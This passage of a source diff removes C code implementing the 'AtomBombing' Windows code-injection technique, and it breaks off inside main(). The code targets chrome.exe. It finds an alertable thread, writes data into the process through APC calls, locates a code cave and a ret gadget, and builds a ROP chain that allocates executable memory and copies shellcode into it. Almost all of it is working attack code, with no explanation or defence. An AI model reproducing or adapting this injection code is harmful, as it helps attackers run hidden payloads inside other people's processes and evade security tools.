- ESTATUS eReturn = ESTATUS_INVALID;
- PVOID pvTempBuffer = NULL;
- DWORD dwNumberOfBytesRead = 0;
- BOOL bErr = FALSE;
- BOOL bIsMemoryEqual = FALSE;
-
- pvTempBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbExpectedBufferSize);
- if (NULL == pvTempBuffer)
- {
- eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED;
- goto lblCleanup;
- }
-
- bErr = ReadProcessMemory(
- hProcess,
- pvRemoteAddress,
- pvTempBuffer,
- cbExpectedBufferSize,
- &dwNumberOfBytesRead
- );
- if (FALSE == bErr)
- {
- eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED;
- printf("ReadProcessMemory error. GLE: %d.", GetLastError());
- goto lblCleanup;
- }
-
- if (dwNumberOfBytesRead != cbExpectedBufferSize)
- {
- eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH;
- goto lblCleanup;
- }
-
- if (0 == memcmp(pvTempBuffer, pvExpectedBuffer, cbExpectedBufferSize))
- {
- bIsMemoryEqual = TRUE;
- }
-
- eReturn = ESTATUS_SUCCESS;
- *pbIsMemoryEqual = bIsMemoryEqual;
-
-lblCleanup:
- if (NULL != pvTempBuffer)
- {
- HeapFree(GetProcessHeap(), 0, pvTempBuffer);
- pvTempBuffer = NULL;
- }
-
- return eReturn;
-
-}
-
-ESTATUS main_ApcWriteProcessMemoryNullTerminated(
- HANDLE hProcess,
- HANDLE hThread,
- PVOID pvBaseAddress,
- PVOID pvBuffer,
- DWORD dwBufferSize
- )
-{
- ESTATUS eReturn = ESTATUS_INVALID;
- BOOL bShouldStop = FALSE;
-
- do
- {
- eReturn = main_ApcWriteProcessMemoryNullTerminatedInternal(
- hThread,
- pvBaseAddress,
- pvBuffer,
- dwBufferSize
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- Sleep(100);
-
- eReturn = main_IsProcessMemoryEqual(
- hProcess,
- pvBaseAddress,
- pvBuffer,
- dwBufferSize,
- &bShouldStop
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- if (FALSE == bShouldStop)
- {
- printf("[*] Data chunk written incorrectly, retrying...\n\n\n");
- }
-
- } while (FALSE == bShouldStop);
-
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
- return eReturn;
-}
-
-ESTATUS main_ApcWriteProcessMemoryInternal(
- HANDLE hProcess,
- HANDLE hThread,
- PVOID pvBaseAddress,
- PVOID pvBuffer,
- DWORD dwBufferSize
- )
-{
- PWCHAR pwcPos = NULL;
- ESTATUS eReturn = ESTATUS_INVALID;
- PVOID pvTempBuffer = NULL;
- PVOID pvLocalBufferPointer = pvBuffer;
- PVOID pvRemoteBufferPointer = pvBaseAddress;
- DWORD dwBytesWritten = 0;
-
- while (pvLocalBufferPointer < (PUCHAR)pvBuffer + dwBufferSize)
- {
- DWORD cbTempBufferSize = 0;
-
- pwcPos = (PWCHAR)pvLocalBufferPointer + wcsnlen_s(
- (LPWSTR)pvLocalBufferPointer,
- (dwBufferSize - dwBytesWritten) / sizeof(WCHAR)
- );
- if (0 == pwcPos)
- {
- goto lblCleanup;
- }
- if (pvLocalBufferPointer == pwcPos)
- {
- pvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + sizeof(UNICODE_NULL);
- pvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + sizeof(UNICODE_NULL);
- dwBytesWritten += sizeof(UNICODE_NULL);
- continue;
- }
-
- cbTempBufferSize = (PUCHAR)pwcPos - (PUCHAR)pvLocalBufferPointer;
-
- pvTempBuffer = HeapAlloc(
- GetProcessHeap(),
- HEAP_ZERO_MEMORY,
- cbTempBufferSize + sizeof(UNICODE_NULL)
- );
- if (NULL == pvTempBuffer)
- {
- goto lblCleanup;
- }
-
- memcpy(pvTempBuffer, pvLocalBufferPointer, cbTempBufferSize);
-
- eReturn = main_ApcWriteProcessMemoryNullTerminated(
- hProcess,
- hThread,
- pvRemoteBufferPointer,
- pvTempBuffer,
- cbTempBufferSize + sizeof(UNICODE_NULL)
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
- pvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + cbTempBufferSize;
- pvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + cbTempBufferSize;
- dwBytesWritten += cbTempBufferSize;
-
- if (NULL != pvTempBuffer)
- {
- HeapFree(GetProcessHeap(), 0, pvTempBuffer);
- pvTempBuffer = NULL;
-
- }
- }
-
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
- if (NULL != pvTempBuffer)
- {
- HeapFree(GetProcessHeap(), 0, pvTempBuffer);
- pvTempBuffer = NULL;
- }
-
- return eReturn;
-
-
-}
-
-ESTATUS main_ApcWriteProcessMemory(
- HANDLE hProcess,
- HANDLE hThread,
- PVOID pvBaseAddress,
- PVOID pvBuffer,
- DWORD dwBufferSize
- )
-{
- ESTATUS eReturn = ESTATUS_INVALID;
- BOOL bShouldStop = FALSE;
-
- do
- {
- eReturn = main_ApcWriteProcessMemoryInternal(
- hProcess,
- hThread,
- pvBaseAddress,
- pvBuffer,
- dwBufferSize
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- Sleep(100);
-
- eReturn = main_IsProcessMemoryEqual(
- hProcess,
- pvBaseAddress,
- pvBuffer,
- dwBufferSize,
- &bShouldStop
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- if (bShouldStop)
- {
- printf("[*] New verification: Data chunk written successfully.\n\n\n");
- break;
- }
-
- printf("[*] New Verification: Data written incorrectly, retrying...\n\n\n");
-
- } while (TRUE);
-
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
- return eReturn;
-}
-
-ESTATUS main_ApcSetThreadContext(
- HANDLE hProcess,
- HANDLE hThread,
- PCONTEXT ptContext,
- PVOID pvRemoteAddress
- )
-{
- ESTATUS eReturn = ESTATUS_INVALID;
-
- eReturn = main_ApcWriteProcessMemory(
- hProcess,
- hThread,
- (PVOID)((PUCHAR)pvRemoteAddress),
- ptContext,
- FIELD_OFFSET(CONTEXT, ExtendedRegisters)
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- eReturn = main_ApcSetThreadContextInternal(hThread, (PCONTEXT)((PUCHAR)pvRemoteAddress));
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
- return eReturn;
-
-}
-
-ESTATUS main_ApcCopyFunctionPointers(
- HANDLE hProcess,
- HANDLE hThread,
- PVOID pvRemoteAddress
- )
-{
- ESTATUS eReturn = ESTATUS_INVALID;
- FUNCTIONPOINTERS tFunctionPointers = { 0 };
-
- eReturn = GetFunctionAddressFromDll(
- KERNEL32,
- LOADLIBRARYA,
- &tFunctionPointers.pfnLoadLibraryA
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- eReturn = GetFunctionAddressFromDll(
- KERNEL32,
- GETPROCADDRESS,
- &tFunctionPointers.pfnGetProcAddress
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- eReturn = main_ApcWriteProcessMemory(
- hProcess,
- hThread,
- pvRemoteAddress,
- &tFunctionPointers,
- sizeof(tFunctionPointers)
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
- return eReturn;
-
-}
-
-ESTATUS main_GetProcessIdByName(LPWSTR pszProcessName, PDWORD pdwProcessId)
-{
- DWORD dwProcessId = 0;
- HANDLE hSnapshot = NULL;
- PROCESSENTRY32 pe = { 0 };
- ESTATUS eReturn = ESTATUS_INVALID;
-
- hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
- if (NULL == hSnapshot)
- {
- eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR;
- printf("CreateToolhelp32Snapshot error. GLE: %d.", GetLastError());
- goto lblCleanup;
- }
-
- pe.dwSize = sizeof(PROCESSENTRY32);
- if (FALSE == Process32First(hSnapshot, &pe))
- {
- eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR;
- printf("Process32First error. GLE: %d.", GetLastError());
- goto lblCleanup;
- }
-
- do
- {
- if (NULL != wcsstr(pe.szExeFile, pszProcessName))
- {
- dwProcessId = pe.th32ProcessID;
- break;
- }
- } while (Process32Next(hSnapshot, &pe));
-
- if (0 == dwProcessId)
- {
- printf("[*] Process '%S' could not be found.\n\n\n", pszProcessName);
- eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND;
- goto lblCleanup;
- }
-
- printf("[*] Found process '%S'. PID: %d (0x%X).\n\n\n", pszProcessName, dwProcessId, dwProcessId);
- *pdwProcessId = dwProcessId;
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
- if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))
- {
- CloseHandle(hSnapshot);
- hSnapshot = NULL;
- }
- return eReturn;
-
-}
-
-ESTATUS main_OpenProcessByName(LPWSTR pszProcessName, PHANDLE phProcess)
-{
- HANDLE hProcess = NULL;
- ESTATUS eReturn = ESTATUS_INVALID;
- DWORD dwPid = 0;
-
- eReturn = main_GetProcessIdByName(pszProcessName, &dwPid);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- hProcess = OpenProcess(
- PROCESS_ALL_ACCESS,
- FALSE,
- dwPid
- );
- if (NULL == hProcess)
- {
- eReturn = ESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR;
- printf("OpenProcess error. GLE: %d.", GetLastError());
- goto lblCleanup;
- }
-
- printf("[*] Opened process's handle: %d (0x%X).\n\n\n", hProcess, hProcess);
- *phProcess = hProcess;
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
-
- return eReturn;
-}
-
-ESTATUS main_GetSectionHeader(
- HMODULE hModule,
- PSTR pszSectionName,
- PIMAGE_SECTION_HEADER *pptSectionHeader
- )
-{
- PIMAGE_DOS_HEADER ptDosHeader = NULL;
- PIMAGE_NT_HEADERS ptNtHeaders = NULL;
- PIMAGE_SECTION_HEADER ptSectionHeader = NULL;
- ESTATUS eReturn = ESTATUS_INVALID;
- BOOL bFound = FALSE;
-
- ptDosHeader = (PIMAGE_DOS_HEADER)hModule;
- if (IMAGE_DOS_SIGNATURE != ptDosHeader->e_magic)
- {
- goto lblCleanup;
- }
-
- ptNtHeaders = (PIMAGE_NT_HEADERS)(((DWORD)ptDosHeader) + (PUCHAR)ptDosHeader->e_lfanew);
- if (FALSE != IsBadReadPtr(ptNtHeaders, sizeof(IMAGE_NT_HEADERS)))
- {
- goto lblCleanup;
- }
- if (IMAGE_NT_SIGNATURE != ptNtHeaders->Signature)
- {
- goto lblCleanup;
- }
-
- ptSectionHeader = IMAGE_FIRST_SECTION(ptNtHeaders);
-
- for (int i = 0; i < ptNtHeaders->FileHeader.NumberOfSections; i++)
- {
- if (0 == strncmp(pszSectionName, (PCHAR)ptSectionHeader->Name, IMAGE_SIZEOF_SHORT_NAME))
- {
- bFound = TRUE;
- break;
- }
- ptSectionHeader++;
- }
-
- if (FALSE == bFound)
- {
- eReturn = ESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND;
- goto lblCleanup;
- }
-
- eReturn = ESTATUS_SUCCESS;
- *pptSectionHeader = ptSectionHeader;
-
-lblCleanup:
- return eReturn;
-}
-
-ESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave)
-{
- PIMAGE_SECTION_HEADER ptSectionHeader = NULL;
- PVOID pvCodeCave = NULL;
- ESTATUS eReturn = ESTATUS_INVALID;
- HMODULE hNtDll = NULL;
-
- hNtDll = GetModuleHandleA("kernelbase.dll");
- if (NULL == hNtDll)
- {
- eReturn = ESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED;
- }
-
- eReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- pvCodeCave = (PVOID) (
- (DWORD) hNtDll +
- ptSectionHeader->VirtualAddress +
- ptSectionHeader->SizeOfRawData
- );
-
- eReturn = ESTATUS_SUCCESS;
- *ppvCodeCave = pvCodeCave;
-
-lblCleanup:
-
- return eReturn;
-}
-
-ESTATUS main_FindRetGadget(PVOID *ppvRetGadget)
-{
- PIMAGE_SECTION_HEADER ptSectionHeader = NULL;
- PVOID pvCodeCave = NULL;
- ESTATUS eReturn = ESTATUS_INVALID;
- HMODULE hNtDll = NULL;
- PVOID pvRetGadget = NULL;
-
- hNtDll = GetModuleHandleA(NTDLL);
- if (NULL == hNtDll)
- {
- eReturn = ESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED;
- }
-
- eReturn = main_GetSectionHeader(hNtDll, TEXT_SECTION, &ptSectionHeader);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- pvRetGadget = memchr(
- hNtDll + ptSectionHeader->VirtualAddress,
- X86_RET,
- ptSectionHeader->SizeOfRawData
- );
- if (NULL == pvRetGadget)
- {
- eReturn = ESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND;
- goto lblCleanup;
- }
-
- eReturn = ESTATUS_SUCCESS;
- *ppvRetGadget = pvRetGadget;
-
-lblCleanup:
-
- return eReturn;
-}
-typedef struct _ROPCHAIN
-{
- // Return address of ntdll!ZwAllocateMemory
- PVOID pvMemcpy;
-
- // Params for ntdll!ZwAllocateMemory
- HANDLE ZwAllocateMemoryhProcess;
- PVOID ZwAllocateMemoryBaseAddress;
- ULONG_PTR ZwAllocateMemoryZeroBits;
- PSIZE_T ZwAllocateMemoryRegionSize;
- ULONG ZwAllocateMemoryAllocationType;
- ULONG ZwAllocateMemoryProtect;
-
- // Return address of ntdll!memcpy
- PVOID pvRetGadget;
-
- // Params for ntdll!memcpy
- PVOID MemcpyDestination;
- PVOID MemcpySource;
- SIZE_T MemcpyLength;
-
-} ROPCHAIN, *PROPCHAIN;
-
-ESTATUS main_BuildROPChain(
- PVOID pvROPLocation,
- PVOID pvShellcodeLocation,
- PROPCHAIN ptRopChain
- )
-{
- ESTATUS eReturn = ESTATUS_INVALID;
- ROPCHAIN tRopChain = { 0 };
-
- tRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess();
-
- tRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET(
- ROPCHAIN,
- MemcpyDestination
- );
- tRopChain.ZwAllocateMemoryZeroBits = NULL;
-
- tRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET(
- ROPCHAIN,
- MemcpyLength)
- );
- tRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT;
- tRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE;
- tRopChain.MemcpyDestination = (PVOID)0x00;
- tRopChain.MemcpySource = pvShellcodeLocation;
- tRopChain.MemcpyLength = sizeof(SHELLCODE);
-
- eReturn = GetFunctionAddressFromDll(
- NTDLL,
- MEMCPY,
- &tRopChain.pvMemcpy
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- printf("ntdll!memcpy: 0x%X", tRopChain.pvMemcpy);
-
- // Find a ret instruction in order to finally jump to the
- // newly allocated executable shellcode.
- eReturn = main_FindRetGadget(&tRopChain.pvRetGadget);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- eReturn = ESTATUS_SUCCESS;
- *ptRopChain = tRopChain;
-
-lblCleanup:
-
- return eReturn;
-
-}
-
-ESTATUS main_EnumProcessThreadIds(
- HANDLE hProcess,
- PDWORD *ppdwThreadIds,
- PDWORD pcbThreadIdsSize,
- PDWORD pdwNumberOfProcessThreads
- )
-{
- HANDLE hSnapshot = NULL;
- ESTATUS eReturn = ESTATUS_INVALID;
- THREADENTRY32 tThreadEntry;
- BOOL bErr = FALSE;
- DWORD dwProcessId = 0;
- PDWORD pdwThreadIds = NULL;
- DWORD cbThreadIdsSize = 0;
- DWORD dwNumberOfMatchingThreads = 0;
-
- dwProcessId = GetProcessId(hProcess);
-
- hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
- if (INVALID_HANDLE_VALUE == hSnapshot)
- {
- goto lblCleanup;
- }
-
- tThreadEntry.dwSize = sizeof(THREADENTRY32);
- bErr = Thread32First(hSnapshot, &tThreadEntry);
- if (FALSE == bErr)
- {
- goto lblCleanup;
- }
-
- do
- {
- if (tThreadEntry.th32OwnerProcessID != dwProcessId)
- {
- continue;
- }
-
- cbThreadIdsSize += sizeof(tThreadEntry.th32ThreadID);
- if (sizeof(tThreadEntry.th32ThreadID) == cbThreadIdsSize)
- {
-
- pdwThreadIds = (PDWORD) HeapAlloc(
- GetProcessHeap(),
- HEAP_ZERO_MEMORY,
- cbThreadIdsSize
- );
- }
- else
- {
- pdwThreadIds = (PDWORD) HeapReAlloc(
- GetProcessHeap(),
- HEAP_ZERO_MEMORY,
- pdwThreadIds,
- cbThreadIdsSize
- );
- }
- if (NULL == pdwThreadIds)
- {
- goto lblCleanup;
- }
-
- pdwThreadIds[dwNumberOfMatchingThreads++] = tThreadEntry.th32ThreadID;
-
- } while (bErr = Thread32Next(hSnapshot, &tThreadEntry));
-
- *ppdwThreadIds = pdwThreadIds;
- *pcbThreadIdsSize = cbThreadIdsSize;
- *pdwNumberOfProcessThreads = dwNumberOfMatchingThreads;
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
- if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))
- {
- CloseHandle(hSnapshot);
- hSnapshot = NULL;
- }
-
- if (ESTATUS_FAILED(eReturn))
- {
- if (NULL != pdwThreadIds)
- {
- HeapFree(GetProcessHeap(), 0, pdwThreadIds);
- pdwThreadIds = NULL;
- }
- }
-
- return eReturn;
-}
-
-VOID main_CloseLocalHandleArray(PHANDLE phHandles, DWORD cbHandleCount)
-{
- for (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++)
- {
- if (NULL != phHandles[dwIndex])
- {
- CloseHandle(phHandles[dwIndex]);
- phHandles[dwIndex] = NULL;
- }
- }
-}
-
-VOID main_CloseRemoteHandleArray(
- HANDLE hProcess,
- PHANDLE phHandles,
- DWORD cbHandleCount
- )
-{
- for (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++)
- {
- HANDLE hTemp = NULL;
-
- if (NULL != phHandles[dwIndex])
- {
- DuplicateHandle(
- hProcess,
- phHandles[dwIndex],
- GetCurrentProcess(),
- &hTemp,
- 0,
- FALSE,
- DUPLICATE_CLOSE_SOURCE
- );
- phHandles[dwIndex] = NULL;
- }
-
- if (NULL != hTemp)
- {
- CloseHandle(hTemp);
- hTemp = NULL;
- }
- }
-}
-
-ESTATUS main_EnumProcessThreads(
- HANDLE hProcess,
- PHANDLE *pphProcessThreadsHandles,
- PDWORD pcbProcessThreadsHandlesSize,
- PDWORD pdwNumberOfProcessThreads
- )
-{
- ESTATUS eReturn = ESTATUS_INVALID;
- PDWORD pdwProcessThreadIds = NULL;
- DWORD cbProcessThreadIdsSize = 0;
- DWORD dwNumberOfProcessThreads = 0;
- PHANDLE phProcessThreadsHandles = NULL;
-
- eReturn = main_EnumProcessThreadIds(
- hProcess,
- &pdwProcessThreadIds,
- &cbProcessThreadIdsSize,
- &dwNumberOfProcessThreads
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- cbProcessThreadIdsSize = dwNumberOfProcessThreads * sizeof(HANDLE);
- phProcessThreadsHandles = (PHANDLE) HeapAlloc(
- GetProcessHeap(),
- HEAP_ZERO_MEMORY,
- cbProcessThreadIdsSize
- );
- if (NULL == phProcessThreadsHandles)
- {
- goto lblCleanup;
- }
-
- for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)
- {
- DWORD dwThreadId = pdwProcessThreadIds[dwIndex];
-
- phProcessThreadsHandles[dwIndex] = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId);
- if (NULL == phProcessThreadsHandles[dwIndex])
- {
- eReturn = ESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED;
- goto lblCleanup;
- }
- }
-
- *pphProcessThreadsHandles = phProcessThreadsHandles;
- *pcbProcessThreadsHandlesSize = cbProcessThreadIdsSize;
- *pdwNumberOfProcessThreads = dwNumberOfProcessThreads;
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
- if (NULL != pdwProcessThreadIds)
- {
- HeapFree(GetProcessHeap(), 0, pdwProcessThreadIds);
- pdwProcessThreadIds = NULL;
- }
- if (ESTATUS_FAILED(eReturn))
- {
- main_CloseLocalHandleArray(phProcessThreadsHandles, dwNumberOfProcessThreads);
-
- if (NULL != phProcessThreadsHandles)
- {
- HeapFree(GetProcessHeap(), 0, phProcessThreadsHandles);
- phProcessThreadsHandles = NULL;
- }
- }
- return eReturn;
-}
-
-ESTATUS main_GetThreadContext(
- HANDLE hThread,
- DWORD dwContextFlags,
- PCONTEXT ptContext
- )
-{
- ESTATUS eReturn = ESTATUS_INVALID;
- DWORD dwErr = 0;
- BOOL bErr = FALSE;
- CONTEXT tContext = { NULL };
-
- tContext.ContextFlags = dwContextFlags;
-
- SuspendThread(hThread);
- if (((DWORD)-1) == dwErr)
- {
- eReturn = ESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED;
- goto lblCleanup;
- }
-
- bErr = GetThreadContext(hThread, &tContext);
- if (FALSE == bErr)
- {
- eReturn = ESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED;
- goto lblCleanup;
- }
-
- ResumeThread(hThread);
- if (((DWORD)-1) == dwErr)
- {
- eReturn = ESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED;
- goto lblCleanup;
- }
-
- eReturn = ESTATUS_SUCCESS;
- *ptContext = tContext;
-
-lblCleanup:
- return eReturn;
-}
-
-ESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread)
-{
- ESTATUS eReturn = ESTATUS_INVALID;
- PHANDLE phProcessThreadsHandles = NULL;
- DWORD cbProcessThreadsHandlesSize = 0;
- DWORD dwNumberOfProcessThreads = 0;
- BOOL bErr = FALSE;
- DWORD dwErr = 0;
- HANDLE hAlertableThread = 0;
- PVOID pfnNtWaitForSingleObject = NULL;
- PHANDLE phLocalEvents = NULL;
- PHANDLE phRemoteEvents = NULL;
-
- eReturn = main_EnumProcessThreads(
- hProcess,
- &phProcessThreadsHandles,
- &cbProcessThreadsHandlesSize,
- &dwNumberOfProcessThreads
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)
- {
- HANDLE hThread = phProcessThreadsHandles[dwIndex];
-
- eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(
- hThread,
- GetCurrentThread(),
- 5000,
- TRUE);
- if (ESTATUS_FAILED(eReturn))
- {
- continue;
- }
- }
-
- phLocalEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE));
- if (NULL == phLocalEvents)
- {
- eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED;
- goto lblCleanup;
- }
-
- phRemoteEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE));
- if (NULL == phRemoteEvents)
- {
- eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED;
- goto lblCleanup;
- }
-
- for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)
- {
- HANDLE hThread = phProcessThreadsHandles[dwIndex];
-
- phLocalEvents[dwIndex] = CreateEvent(NULL, TRUE, FALSE, NULL);
- if (NULL == phLocalEvents[dwIndex])
- {
- eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED;
- goto lblCleanup;
- }
-
- bErr = DuplicateHandle(
- GetCurrentProcess(),
- phLocalEvents[dwIndex],
- hProcess,
- &phRemoteEvents[dwIndex],
- 0,
- FALSE,
- DUPLICATE_SAME_ACCESS
- );
- if (FALSE == bErr)
- {
- eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED;
- goto lblCleanup;
- }
-
- eReturn = main_ApcSetEventAndKeepAlertable(hThread, phRemoteEvents[dwIndex]);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- }
-
- DWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000);
- if (WAIT_FAILED == dwWaitResult)
- {
- eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED;
- goto lblCleanup;
- }
- if (WAIT_TIMEOUT == dwWaitResult)
- {
- eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND;
- goto lblCleanup;
- }
-
- hAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0];
-
- //If the thread is in an alertable state, keep it that way "forever".
- eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(
- hAlertableThread,
- GetCurrentThread(),
- INFINITE,
- TRUE
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- *phAlertableThread = hAlertableThread;
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
-
- main_CloseRemoteHandleArray(
- hProcess,
- phRemoteEvents,
- dwNumberOfProcessThreads
- );
-
- if (NULL != phRemoteEvents)
- {
- HeapFree(GetProcessHeap(), 0, phRemoteEvents);
- phRemoteEvents = NULL;
- }
-
- main_CloseLocalHandleArray(
- phLocalEvents,
- dwNumberOfProcessThreads
- );
-
- if (NULL != phLocalEvents)
- {
- HeapFree(GetProcessHeap(), 0, phLocalEvents);
- phLocalEvents = NULL;
- }
-
- for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)
- {
- PHANDLE phThread = &phProcessThreadsHandles[dwIndex];
-
- if ((NULL != *phThread) && (hAlertableThread != *phThread))
- {
- CloseHandle(*phThread);
- *phThread = NULL;
- }
- }
-
- if (NULL != phProcessThreadsHandles)
- {
- HeapFree(GetProcessHeap(), 0, phProcessThreadsHandles);
- phProcessThreadsHandles = NULL;
- }
-
- return eReturn;
-}
-
-ESTATUS main_GetThreadTebAddress(HANDLE hThread, PVOID *ppvTebAddress)
-{
- ESTATUS eReturn = ESTATUS_INVALID;
- CONTEXT tContext = { 0 };
- BOOL bErr = FALSE;
- LDT_ENTRY tLdtEnry = { 0 };
- PVOID pvTebAddress;
-
- eReturn = main_GetThreadContext(hThread, CONTEXT_SEGMENTS, &tContext);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- bErr = GetThreadSelectorEntry(hThread, tContext.SegFs, &tLdtEnry);
- if (FALSE == bErr)
- {
- eReturn = ESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED;
- goto lblCleanup;
- }
-
- pvTebAddress = (PVOID)(
- (tLdtEnry.BaseLow) |
- (tLdtEnry.HighWord.Bytes.BaseMid << 0x10) |
- (tLdtEnry.HighWord.Bytes.BaseHi << 0x18)
- );
-
- *ppvTebAddress = pvTebAddress;
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
- return eReturn;
-
-}
-
-
-
-int main()
-{
- ESTATUS eReturn = ESTATUS_INVALID;
- PVOID pvRemoteShellcodeAddress = NULL;
- PVOID pvRemoteGetProcAddressLoadLibraryAddress = NULL;
- PVOID pvRemoteContextAddress = NULL;
- PVOID pvRemoteROPChainAddress = NULL;
- CONTEXT tContext = { 0 };
- CHAR acShellcode[] = SHELLCODE;
- PVOID pvCodeCave = NULL;
- BOOL bErr = FALSE;
- ROPCHAIN tRopChain = { 0 };
- HANDLE hProcess = NULL;
- HANDLE hAlertableThread = NULL;
- ATOM tAtom = 0;
- printf("[*] ATOM BOMBING\n\n\n");
-
- eReturn = main_OpenProcessByName(L"chrome.exe", &hProcess);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- printf("[*] Searching for an alertable thread.\n\n\n");
- eReturn = main_FindAlertableThread(hProcess, &hAlertableThread);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
- printf("[*] Found an alertable thread. Handle: 0x%X.\n\n\n", hAlertableThread);
-
- printf("[*] Finding remote code cave.\n\n\n");
- eReturn = main_GetCodeCaveAddress(&pvCodeCave);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
- printf("[*] Remote code cave found: 0x%X.\n\n\n", pvCodeCave);
-
- pvRemoteROPChainAddress = pvCodeCave;
- pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);
